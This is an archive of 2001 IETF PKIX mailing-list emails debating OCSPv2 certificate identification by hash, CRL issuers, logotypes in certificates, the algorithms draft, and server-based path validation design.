Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA11787 for <[e-mail]>; Mon, 26 Mar 2001 16:44:56 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2R0itO25204; Mon, 26 Mar 2001 16:44:55 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: "Manger, James H" <[e-mail]>, <[e-mail]>
Subject: RE: OCSPv2: 02: certHash is not unique
Date: Mon, 26 Mar 2001 16:51:23 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

James,

A good catch.  Thanks for taking the time to read the OCSPv2-02.

I was convinced to include certHash among the ReqCert CHOICEs based on a
projection that some PKI-using environments may find this form of
certificate identification more useful to their needs than others,
particularly those that are bandwidth-constrained.

You propose that a hash over the signed portion of the certificate (i.e. the
same hash that goes into the signature) would eliminate the risk you've
identified.  I'll take any opportunity I can to simplify the protocol;
deleting certHash as a ReqCert option certainly addresses that design
objective.  At this point though I'd prefer to maintain certHash a option
but composed in the manner you describe.

This would at a minimum separate out the security of this mechanism from the
question of whether or not this mechanism, even though secure in its
specification, provides sufficient value to warrant the additional
complexity in the protocol.

Mike



Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA10199 for <[e-mail]>; Mon, 26 Mar 2001 16:24:55 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2R0Omm27155; Tue, 27 Mar 2001 10:24:50 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: [e-mail]
cc: [e-mail]
Subject: Re: CRLs 
In-Reply-To: Message from [e-mail]  of "Mon, 26 Mar 2001 09:41:49 +0100." <[e-mail]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 27 Mar 2001 10:24:47 +1000
From: Dean Povey <[e-mail]>

>Hi,
>	I'm trying to split CA functionality. I want to have one private key
>to sign certificates (CA key), and the second one to sign CRLs.
>	First is it possible to do it? Because in the standard I've found:
>"The CRL is signed using the CA's private key." (is it the same CA, which
>sign this certificate? In other words, CA can only revoke certificates it
>signed, Am I right?)

Hi Pawel,

You can use the cRLDistributionPoint extension to indicate a CRL issuer 
other than the CA that issued the Certificate.  See section 4.2.1.14 of
RFC2459, or of the updated Cert and CRL profile at:

http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-05.txt

-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 




Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA09069 for <[e-mail]>; Mon, 26 Mar 2001 16:16:14 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2R0G9m26987; Tue, 27 Mar 2001 10:16:09 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: [e-mail]
cc: [e-mail]
Subject: Re: Logotypes in certificates 
In-Reply-To: Message from Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>  of "Sun, 25 Mar 2001 01:39:11 +0100." <[e-mail]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 27 Mar 2001 10:16:09 +1000
From: Dean Povey <[e-mail]>

>> One way, is that the CA can ensure that the logo is a registered
>> trademark owned by the subject it is being issued to.  The USPTO and other
>> organisations like it already have processes to ensure that trademarks are
>> not confusingly similar.
>
>I disagree. The organizations registering trade marks/logos (e.g.
>Deutsches Patentamt in Germany) do not guarantee that the trade
>marks/logos are not similar to others. They're just doing the
>registration, no exhaustive checking for conflicts => a CA cannot
>rely on such a service.

My apologies, I made such a broad generalisation based on my knowledge of
what I had recently read about the USPTO and what I remembered about the
Trademark process in Australia.  I think you would concede however that
while they might not do exhaustive checking, the trademark process provides
some level of assurance as companies are quite vigilant about protecting
their trademarks.  Users merely have to treat the information appropriately
in view of this, as they have to do with all information that they find in
a Certificate.

-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 




Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA08709 for <[e-mail]>; Mon, 26 Mar 2001 16:13:31 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2R0DBm26956; Tue, 27 Mar 2001 10:13:12 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: Bodo Moeller <[e-mail]>
cc: "David P. Kemp" <[e-mail]>, [e-mail]
Subject: Re: Logotypes [not] in certificates 
In-Reply-To: Message from Bodo Moeller <[e-mail]>  of "Mon, 26 Mar 2001 10:48:29 +0200." <[e-mail]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Date: Tue, 27 Mar 2001 10:13:11 +1000
From: Dean Povey <[e-mail]>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id QAA08714

<snip>
>> target.  For a concrete examples see the recent slashdot story:
>> 
>> http://slashdot.org/articles/01/03/22/1947233.shtml
>> 
>> And MicroSoft's Bulletin:
>> http://www.microsoft.com/technet/security/bulletin/MS01-017.asp
>> 
>> Logos are much easier for humans to recognise.  By having a CA bind the
>> public key to a logo and having the UI use it appropriately you enable
>> users to make much better decisions about how they use their certificates.
>
>I am not sure I get your point.  Are you saying that including logos
>into certificates could have prevented this from happening?
>According to the Microsoft Security Bulletin,
>
>     VeriSign, Inc., recently advised Microsoft that on January 29 and 30,
>     2001, it issued two VeriSign Class 3 code-signing digital certificates
>     to an individual who fraudulently claimed to be a Microsoft employee.
>
>I fail to see what difference it would have made to include logos into
>the process.

Hmm, I just reread the information.  I had misunderstood, I thought it was 
just the case that they had mistakenly issued a Microsoft Corp CN, but 
that the DN was some division in Microsoft.  Providing the CA had rules 
about only issuing logos to corporate identities, rather than specific 
divisions this would mitigate the risk somewhat. But even given my 
misunderstanding I agree it is a weak example. Mea Culpa.

However, in at least one other post I have given a much better example 
where ambiguity in names leads to poor security.

>In the message that started this thread it was claimed that "logotypes
>are carriers of trust," whatever this means.  The argument was made
>that certificates "must be user friendly" and not only be accessible
>to "technically oriented users".  Let me assume the role of advocatus
>diaboli: The basic idea appears to be that users who don't have a clue
>of what is going on should not notice that they don't.  The technical
>process of certification is enriched with colourful logotypes to give
>certificate recipients warm fuzzies and convey a feeling of "trust."
>Users who don't understand the concept of chain validation and the
>risks of mis-certification will gladly accept certificates as genuine
>because they carry the proper logo.  In other words, we are discussing
>how to enable the digital world for one of the traditional tricks for
>faking physical ID, which is to use logos to evoke trust.

Au contrair.  The idea is to make user's more involved in the process, not 
more removed from it.  The point about the logo is it is in your face.
Browser designers tend to hide away Certificate details.  Of course it is 
not perfect, but it is a lot better than what tends to happen at the 
moment (i.e. users just ignore it all together).

I think the risk of certification being subverted by logos is being 
overstated somewhat.  Providing the CA follows good rules for 
certification (e.g. ensure the logo is a registered trademark), they must 
surely be as good as standard text names which are also ambiguous.

The logo is just there as an extra datapoint, it cannot be relied on for 
path processing (partially because the current proposal is an external 
reference and the image may simply not be available at the time of 
processing).


>You say that logos bound to public keys "enable users to make much
>better decisions about how they use their certificates."  Will logos
>really help to make *better* decisions?  Won't they rather make it
>easier to make mistakes?

Well, I think it is a good start if users are actually making decisions. 
Yes logos can cause a false sense of security if:

- The CA gets it wrong
- The CA lies
- The user mistakenly recognises the logo as belonging to someone else.

However, at least for the first two points, the whole PKI system falls down
in a screaming heap if this happens anyway (well at least it will for the 
first as long until CRLs become truly ubiquitous).  The third point is also
true for names.  What, are you saying that people will be more confident in
their mistake if they choose a logo over a name?  I think that the cases 
where this will happen are going to be rare in practice.  After all a logo 
is only useful if the user recognises it as belonging to an established 
brand, so they will most likely discount their trust in the site 
accordingly.

No one seems to be objecting to the fact that names are ambiguous, and that 
all of the same issues being pointed out for logos are true for names.   
Yet everyone seems comfortable with names in Certificates.  We are not 
proposing replacing names, merely adding additional information to the 
certificate to aid the user.

Cheers.
Dean.





Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by above.proper.com (8.9.3/8.9.3) with SMTP id LAA18203 for <[e-mail]>; Mon, 26 Mar 2001 11:10:25 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Mon, 26 Mar 2001 12:09:49 -0700
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise Internet Agent 5.5.5.1
Date: Mon, 26 Mar 2001 11:18:29 -0700
From: "Tolga Acar" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject: Re: WG Last Call: Algorithms draft
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_93C81BED.DABBB8F3"

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=_93C81BED.DABBB8F3
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

Tim,

Here are my comments:

* For reference to the RFC corresponding to PKCS#1, RFC2437 obsoletes =
RFC2313. Replace all references to 2313 with 2437.

* For DSA, there is a FIPS 186-2. It may be wise to replace all references =
to FIPS 186 by FIPS 186-2.

* In Section 2.3.3, the Diffie-Hellman's Domain Parameters definition, it =
says"g specifies the generator of the multiplicative subgroup of order g". =
The order is not g, it must be q. Yes, the same error is also in RFC2459, =
and I posted about this more than a year ago, but no one seems to care.
It is also prudent to modify the definition of q as "the large prime =
factor of p-1, and the order of g".

* A refererence to the IEEE's P1363 Standard Specifications for Public Key =
Cryptography seems appropriate for all algorithms, in addition to =
references to various X9s.

* In section 2.3.5, definition of id-ecPublicKey has a reference to =
id-publicKeyType, that is undefined. I suspect it is a typo.

Best,
- Tolga

>>> Tim Polk <[e-mail]> 3/21/01 15:06:45 >>>
Folks,

This message announces Working Group Last Call for the updates to the =
PKIX=20
Public Key Algorithms draft. The specification is currently available =
at=20
http://www.ietf.org/internet-drafts/draft-ietf-pkix-ipki-pkalgs-02.txt. =
The=20
chairs plan to request Proposed Standard status for this document, and =
it=20
will advance with the Certs and CRL Profile.

Last Call will remain open through at least April 4, 2001.

Thanks,

Tim Polk

--=_93C81BED.DABBB8F3
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Diso-8859-1"=
>
<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR></HEAD>
<BODY style=3D"MARGIN-TOP: 2px; FONT: 10pt Arial; MARGIN-LEFT: 2px">
<DIV>Tim,</DIV>
<DIV>&nbsp;</DIV>
<DIV>Here are my comments:</DIV>
<DIV>&nbsp;</DIV>
<DIV>* For reference to the RFC corresponding to PKCS#1, RFC2437 =
obsoletes=20
RFC2313. Replace all references to 2313 with 2437.</DIV>
<DIV>&nbsp;</DIV>
<DIV>* For DSA, there is a FIPS 186-2. It may be wise to replace all =
references=20
to FIPS 186 by FIPS 186-2.</DIV>
<DIV>&nbsp;</DIV>
<DIV>* In Section 2.3.3, the Diffie-Hellman's Domain Parameters definition,=
 it=20
says"g specifies the generator of the multiplicative subgroup of order g". =
The=20
order is not g, it must be q. Yes, the same error is also in RFC2459, and =
I=20
posted about this more than a year ago, but no one seems to care.</DIV>
<DIV>It is also prudent to modify the definition of q as "the large prime =
factor=20
of p-1, and the order of g".</DIV>
<DIV>&nbsp;</DIV>
<DIV>*&nbsp;A refererence to the IEEE's P1363 Standard Specifications for =
Public=20
Key Cryptography seems appropriate for all algorithms, in addition to =
references=20
to various X9s.</DIV>
<DIV>&nbsp;</DIV>
<DIV>* In section 2.3.5, definition of id-ecPublicKey has a reference =
to=20
id-publicKeyType, that is undefined. I suspect it is a typo.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Best,</DIV>
<DIV>- Tolga<BR><BR>&gt;&gt;&gt; Tim Polk &lt;[e-mail]&gt; =
3/21/01=20
15:06:45 &gt;&gt;&gt;<BR>Folks,<BR><BR>This message announces Working =
Group Last=20
Call for the updates to the PKIX <BR>Public Key Algorithms draft. The=20
specification is currently available at <BR><A=20
href=3D"http://www.ietf.org/internet-drafts/draft-ietf-pkix-ipki-pkalgs-02.=
txt.">http://www.ietf.org/internet-drafts/draft-ietf-pkix-ipki-pkalgs-02.tx=
t.</A>=20
The <BR>chairs plan to request Proposed Standard status for this document, =
and=20
it <BR>will advance with the Certs and CRL Profile.<BR><BR>Last Call will =
remain=20
open through at least April 4, 2001.<BR><BR>Thanks,<BR><BR>Tim=20
Polk<BR><BR></DIV></BODY></HTML>

--=_93C81BED.DABBB8F3--


Received: from netscape.com (r2d2.netscape.com [205.217.237.47]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA17914 for <[e-mail]>; Mon, 26 Mar 2001 11:08:48 -0800 (PST)
Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id f2QJ8t924262 for <[e-mail]>; Mon, 26 Mar 2001 11:08:55 -0800 (PST)
Received: from netscape.com ([192.18.121.215]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id GATJUW01.4F5; Mon, 26 Mar 2001 11:08:56 -0800 
Message-ID: <[e-mail]>
Date: Mon, 26 Mar 2001 11:08:47 -0800
From: [e-mail] (Terry Hayes)
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; m18) Gecko/20001108 SeaMonkey6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: "Manger James H" <[e-mail]>
CC: "'[e-mail]'" <[e-mail]>
Subject: Re: OCSPv2: 02: certHash is not unique
References: <[e-mail]>
Content-Type: multipart/alternative; boundary="------------040200010205080701090504"

--------------040200010205080701090504
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

James correctly points out some issues with the current definition of 
the proposed certHash method of identifying a certificate in an OCSP 
request.  I'd like to address several points in the message.

First, the draft does not indicate what digest algorithm should be used 
to calculate the hash.  This appears to be correct.  The current 
definition needs to be changed to include an AlgorithmInfo value that 
includes this information.

Second, he claims that the security of this method is suspect.  He has 
correctly pointed out a potential flaw in the security, however normal 
processing of certificates and signatures on certificates will prevent 
this from occurring.   James asserts that we should be "be strict with  
what you send but lenient with what you receive", but this general rule 
does not apply in situations where the security would be compromised.  
In this particular case two checks should be applied that will prevent 
this situation.  The primary check is that the signature algorithm in 
the "outer" portion of the certificate should match exactly the value in 
the "inner" (to-be-signed) portion.  A secondary solution is to ensure 
that the signatureAlgorithm field is exactly as defined for the 
algorithm used (DER-encoding rules are followed).

While the security is maintained given the correct procedures, it is 
easy to see how an implementation would get it wrong.  The need for 
these checks should certainly be mentioned in a security note in the draft.

Third, the certHash field is difficult to use in some deployments.  
Amberish points out that a certHash is not useful to a responder that is 
acting as a proxy for OCSP (or DPV).  In addition, even service that is 
responding for a single CA may not have certHash data available if it 
relies on CRLs for its revocation information.

Overall, I don't think the utility of this particular method of 
identification overcomes the potential problems and limitations.  I 
would be in favor of deleting it from the draft.

Terry Hayes


Manger, James H wrote:

> Comment on draft-ietf-pkix-ocspv2-02.txt
> 
> In section 3.1.2 Certificate Identification, the ReqCert type includes 
> a certHash field as one option for a client to identify a 
> certificate.  The syntax for the certHash field is an OCTET STRING.
> 
> There is no text describing the certHash field.  I guess it holds a 
> hash of the certificate.  I guess the hash is calculated over the 
> DER-encoding of the complete certificate.  There seems to be no 
> indication of the hash algorithm - perhaps it is always SHA-1.
> 
> I guess a certHash value is supposed to match the certificate 
> "fingerprint" or "thumbprint" that the browsers display.  A browsers 
> relies on a thumbprint unambiguously identifying a single 
> certificate.  OCSPv2, on the other hand, relies on a 
> certificate having a unique certHash value.  These properties - 
> unambiguity and uniqueness - are quite different.  It is reasonable to 
> assume a certificate thumbprint is unambiguous, but it is dangerous to 
> assume it is unique for the certificate.
> 
> There are a number of ways to alter the encoding of the unsigned 
> portion of a certificate (signatureAlgorithm field, signatureValue 
> field and outer most tags).  Such modification don't alter the signed 
> portion so the signature remains valid, but they do change the 
> thumbprint.  An attacker can modify the bytes (hence thumbprint) 
> without modifying the semantics of a certificate.
> 
> For instance, consider omitting the NULL signature parameters 
> associated with sha1WithRSAEncryption in the signatureAlgorithm 
> field.  It is not unreasonable for a system to still accept such a 
> certificate (particularly with the "be strict with what you send but 
> lenient with what you receive" philosophy).  Yet the bytes do change 
> so the thumbprint also changes.
> 
> An OCSPv2 responder may have one thumbprint of a certificate in its 
> table of revoked certificates, but would return "good" if a different 
> thumbprint for the same certificate appeared in the certHash field.
> 
> A better thumbprint (that is unique for a certificate) is a hash over 
> only the signed portion of the certificate (i.e. the same hash that 
> goes into the signature).
> 
> SOLUTION:  Delete the certHash field from the ReqCert type.
> 


--------------040200010205080701090504
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html><head></head><body>James correctly points out some issues with the
current definition of the proposed certHash method of identifying a certificate
in an OCSP request.&nbsp; I'd like to address several points in the message.<br>
<br>
First, the draft does not indicate what digest algorithm should be used to
calculate the hash.&nbsp; This appears to be correct.&nbsp; The current definition
needs to be changed to include an AlgorithmInfo value that includes this
information.<br>
<br>
Second, he claims that the security of this method is suspect.&nbsp; He has correctly
pointed out a potential flaw in the security, however normal processing of
certificates and signatures on certificates will prevent this from occurring.
&nbsp; James asserts that we should be "be strict with&nbsp; what you send but lenient
with what you receive", but this general rule does not apply in situations
where the security would be compromised.&nbsp; In this particular case two checks
should be applied that will prevent this situation.&nbsp; The primary check is
that the signature algorithm in the "outer" portion of the certificate should
match exactly the value in the "inner" (to-be-signed) portion.&nbsp; A secondary
solution is to ensure that the signatureAlgorithm field is exactly as defined
for the algorithm used (DER-encoding rules are followed).<br>
<br>
While the security is maintained given the correct procedures, it is easy
to see how an implementation would get it wrong.&nbsp; The need for these checks
should certainly be mentioned in a security note in the draft.<br>
<br>
Third, the certHash field is difficult to use in some deployments.&nbsp; Amberish
points out that a certHash is not useful to a responder that is acting as
a proxy for OCSP (or DPV).&nbsp; In addition, even service that is responding
for a single CA may not have certHash data available if it relies on CRLs
for its revocation information.<br>
<br>
Overall, I don't think the utility of this particular method of identification
overcomes the potential problems and limitations.&nbsp; I would be in favor of
deleting it from the draft.<br>
<br>
Terry Hayes<br>
<br>
<br>
Manger, James H wrote:<br>
<blockquote type="cite" cite="mid:[e-mail]">
  <p><font face="Arial"><font size="2">Comment on <font size="2">draft-ietf-pkix-ocspv2-02.txt<br><br></font></font><font size="2">In 
section 3.1.2 <em>Certificate Identification</em><span class="336071605-26032001"><em>, </em></span>the <strong>ReqCert</strong> type 
includes a <strong>certHash</strong> field as one option for a client to 
identify&nbsp;a certificate.<span class="336071605-26032001">&nbsp; The syntax for 
the <strong>certHash</strong> field is an <strong>OCTET 
STRING</strong>.</span></font></font></p>
  <p><font face="Arial"><font size="2"><span class="336071605-26032001">There is no text 
describing the <strong>certHash</strong> field.&nbsp;&nbsp;I guess it holds a 
hash of the certificate.&nbsp; I guess the hash is calculated over the 
DER-encoding of the complete certificate.&nbsp; There seems to be no indication 
of the hash algorithm -&nbsp;perhaps it is always 
SHA-1.</span></font></font></p>
  <p><font face="Arial"><font size="2"><span class="336071605-26032001">I guess a 
<strong>certHash</strong> value is supposed to match the certificate 
"fingerprint" or "thumbprint" that the browsers display.&nbsp; A browsers relies 
on&nbsp;a thumbprint unambiguously identifying a single certificate.&nbsp; 
OCSPv2, on the other hand, relies on&nbsp;a certificate&nbsp;having a unique 
<strong>certHash</strong> value.&nbsp; These properties - unambiguity and 
uniqueness - are quite different.&nbsp; It is reasonable to assume a certificate 
thumbprint is unambiguous, but it is dangerous to assume it is unique for the 
certificate.</span></font></font></p>
  <p><font face="Arial" size="2"><span class="336071605-26032001">There are a number of 
ways to alter the encoding of the unsigned portion of a certificate 
(<strong>signatureAlgorithm</strong> field, <strong>signatureValue</strong> 
field and outer most tags).&nbsp; Such modification don't alter the signed 
portion so the signature remains valid, but they do change the thumbprint.&nbsp; 
An attacker can modify the bytes (hence thumbprint) without modifying the 
semantics of a certificate.</span></font></p>
  <p><font face="Arial" size="2"><span class="336071605-26032001">For instance, consider 
omitting the <strong>NULL</strong> signature parameters associated with 
<strong>sha1WithRSAEncryption</strong> in the 
<strong>signatureAlgorithm</strong> field.&nbsp; It is not unreasonable for a 
system to still accept such a certificate (particularly with the "be strict with 
what you send but lenient with what you receive" philosophy).&nbsp; Yet the 
bytes do change so the thumbprint also changes.</span></font></p>
  <p><font face="Arial" size="2"><span class="336071605-26032001">An OCSPv2 responder may 
have&nbsp;one thumbprint of a certificate in its table of revoked certificates, 
but would return "<font face="Courier New">good</font>" if a different 
thumbprint for the same certificate appeared in the <strong>certHash</strong> 
field.</span></font></p>
  <p><font face="Arial" size="2"><span class="336071605-26032001">A better thumbprint 
(that is unique for a certificate) is a hash over only the signed portion of the 
certificate (i.e. the same hash that goes into the signature).</span></font></p>
  <p><font face="Arial" size="2"><span class="336071605-26032001">SOLUTION:&nbsp; Delete 
the <strong>certHash</strong> field from the <strong>ReqCert</strong> 
type.</span></font></p>
  </blockquote>
  <br>
</body></html>
--------------040200010205080701090504--



Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA15502 for <[e-mail]>; Mon, 26 Mar 2001 10:30:27 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2QITmb28094; Mon, 26 Mar 2001 10:29:53 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject: RE: some thoughts re DPD and DPV
Date: Mon, 26 Mar 2001 10:36:18 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <[e-mail]>
Importance: Normal

Peter,

It's not clear to me that a separate, perhaps private, extension to OCSP
is needed to enable a CA to indicate a certificate's validity beyond that
currently defined by the DPV I-D (now folded into the OCSPv2 I-D along
with the DPD I-D).

Note that there exists DPV as a concept and DPV as specified over OCSP.
The later defines a value of id-pkix-ocsp-valid-rsp for use in
ResponseBytes.ResponseType field vs. the value of id-pkix-ocsp-basic
defined by RFC 2560.  The effect is that that values of CertStatus
become context sensitive against the value of ResponseBytes.ResponseType
but in a fashion that enables full backwards interoperability with
RFC 2560.  For example,

   IF   {certStatus == 0 AND responseType == id-pkix-ocsp-basic }
   THEN the certificate is NOT REVOKED as defined by RFC 2560bis

while

   IF   {certStatus == 0 AND responseType == id-pkix-ocsp-valid-rsp }
   THEN the certificate is VALID as defined by OCSPv2.

The latter means at a minimum that the responder confirms that
subject certificate passes the path validation algorithm defined
by RFC 2459.

Does this work for your needs?

Mike


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA10312; Mon, 26 Mar 2001 08:30:09 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]>; Mon, 26 Mar 2001 08:30:10 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Mon, 26 Mar 2001 08:30:10 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <HR26MDBX>; Mon, 26 Mar 2001 08:30:02 -0800
Content-return: allowed
Date: Mon, 26 Mar 2001 08:29:59 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: some thoughts re DPD and DPV
To: "'Carlin Covey'" <[e-mail]>, Denis Pinkas <[e-mail]>
Cc: Paul Hoffman / IMC <[e-mail]>, Stephen Kent <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

One of the things that we have had in SCVP for some time was the
following:

a. A configuration identifier
b. A usage area

The configuration identifier was a shortcut for a client to 
provide configuration parameters.

The usage, where the client says what purpose it wants to use
the certificate for.

The thing we need to add to the usage, is an extra parameter,
which contains data that applies to that usage - the server
URL where you are an SSL client, the sender e-mail where you
are an e-mail recipient, etc.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Carlin Covey [mailto:[e-mail]]
> Sent: Monday, March 26, 2001 7:40 AM
> To: Denis Pinkas
> Cc: Paul Hoffman / IMC; Stephen Kent; [e-mail]
> Subject: RE: some thoughts re DPD and DPV
> 
> 
> Denis,
> 
> When I said "client-type" in my previous email, I meant email-client,
> browser, VPN-client etc.  I should have said "application."  
> I think we
> are in agreement on this point.  Sorry for the confusion.
> 
> Regards,
> 
> Carlin
> 
> -  Carlin Covey
>    Cylink Corporation
> 
> -----Original Message-----
> From: Denis Pinkas [mailto:[e-mail]]
> Sent: Monday, March 26, 2001 2:18 AM
> To: Carlin Covey
> Cc: Paul Hoffman / IMC; Stephen Kent; [e-mail]
> Subject: Re: some thoughts re DPD and DPV
> 
> <snip>
> 
> > I also agree with Paul that a typical client will
> > make a choice among very few policies.  In fact, most clients
> > will never make a choice.  The clients and servers will be
> > pre-configured with one policy per client-type per enterprise.
> 
> I do not believe so. The policy is application dependent. One 
> application
> will usually be linked with one policy. Since a client will 
> normally support
> multiple applications, he will use more than one policy.
> 
> <snip>
> 
> 


Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA09756 for <[e-mail]>; Mon, 26 Mar 2001 08:25:21 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GN1XW6CB; Mon, 26 Mar 2001 08:21:54 -0800
From: "Carlin Covey" <[e-mail]>
To: <[e-mail]>, "Denis Pinkas" <[e-mail]>
Cc: "Stephen Kent" <[e-mail]>, <[e-mail]>
Subject: RE: some thoughts re DPD and DPV
Date: Mon, 26 Mar 2001 09:23:11 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <[e-mail]>

Denis and Stephen,

Sorry to add on to this thread but ....



[Denis]: Steve introduced a nice notion, i.e. to limit 
         the number of paths that the client is prepared 
         to accept. It could then be one only or five. 
         If you get four what asking for five, this means 
         that you got the best the sever could do. 

         For that reason I do not see why we should support 
         a statefull server, which is what retryRefrence 
         implies. :-(


[Carlin]: Denis, suppose a client used Steve Kent's nice notion,
         and requested two paths, but wasn't happy with either 
         of them.  Does the client now ask for four paths (knowing 
         that the first two of them will be the two that it has
         already seen), or should the server be "stateful" and
         and return the next two paths that it hasn't already sent?
         The first option wastes bandwidth, the second option 
         requires that the server maintain state.  The client 
         could ask for four paths initially, but the client may 
         be happy with the first of the four paths, in which case 
         sending three additional paths is a waste of bandwidth.  



[Denis]: I noticed that you [Stephen Farrell] were the single one 
         at the IETF meeting advocating the need for the retryReference. 
         There might be other individuals present at the meeting or 
         people on the mailing list supporting this idea as well, but 
         up to now they have remain silent. :-)



[Carlin]: This is Carlin making some noise.    ;-)   
         retryReference helps to maintain synchronization between
         request and the server's state in the case of lost or delayed 
         requests or responses.  Even if Steve's nice notion were 
         implemented, I think you would still want a mechanism like 
         retryReference (un;ess you were willing to put up with 
         resending previously sent paths). 

Regards,

Carlin

____________________________

-  Carlin Covey
   Cylink Corporation 



